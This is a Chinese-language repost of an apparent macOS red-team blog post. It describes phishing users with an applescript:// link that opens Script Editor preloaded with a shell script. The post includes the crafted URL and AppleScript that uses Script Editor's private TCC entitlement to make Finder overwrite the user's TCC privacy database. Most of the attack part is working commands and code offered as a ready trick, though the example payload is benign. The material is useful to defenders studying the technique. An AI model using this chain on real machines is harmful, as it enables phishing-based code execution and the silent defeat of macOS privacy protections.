点击上方蓝字“Ots安全”一起玩耍
macOS 红队技巧系列
#macOSRedTeamingTricks 系列的想法是分享简单且现成的技巧,这些技巧可能会在 macOS 红队活动期间为您提供帮助。
技巧
这篇文章是关于一个有趣的技巧,它可以帮助你在 macOS 机器上实现初始访问。它需要执行高级网络钓鱼,但内置 TCC 绕过的代码执行功能非常强大。
让我们进入正题。脚本编辑器 ( /System/Applications/Utilities/Script Editor.app) 注册一个applescriptURL 处理程序。它允许传递一个 Apple 脚本,只需单击“播放”按钮即可执行该脚本。
考虑以下网络钓鱼:
和脚本:
该链接包含:
applescript://com.apple.scripteditor?action=new&script=do%20shell%20script%20%22/bin/bash%20-s%20%3C%3C'EOF'%0Aecho%20'123'%20%3E%20/tmp/code_executed%0AEOF%22
单击 Apple Mail / iMessage 中的链接不会引发任何其他提示。
为什么这个技巧如此强大?
-
因为它很简单
-
因为它执行的代码不需要签名和公证
-
因为代码执行没有沙盒化
-
因为它还包括TCC 旁路
TCC 旁路是如何实现的?让我们看一下脚本编辑器的权利。
$ codesign -d --entitlements - "/System/Applications/Utilities/Script Editor.app"
Executable=/System/Applications/Utilities/Script Editor.app/Contents/MacOS/Script Editor
[ ]
[ ]
[private.tcc.allow ] com.apple.
[ ]
[ ]
[ ] kTCCServiceAddressBook
[ ] kTCCServiceAppleEvents
[ ] kTCCServiceCalendar
[ ] kTCCServiceReminders
私有 TCC 授权允许向kTCCServiceAppleEvents
任何应用程序发送 Apple 事件。因此,我们可以向 Finder(具有全盘访问权限)发送一个 Apple 事件,该事件将替换用户的 TCC 数据库。🤯
do shell script "/bin/bash -s <<'EOF'
echo '123' > /tmp/TCC.db
EOF"
tell application "Finder"
set applicationSupportDirectory to POSIX path of (path to application support from user domain)
set tccDirectory to applicationSupportDirectory & "com.apple.TCC/"
duplicate file (POSIX file "/tmp/TCC.db" as alias) to folder (POSIX file tccDirectory as alias) with replacing
end tell
原文始发于微信公众号(Ots安全):macOS 红队技巧:通过 AppleScript URL 进行初始访问
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论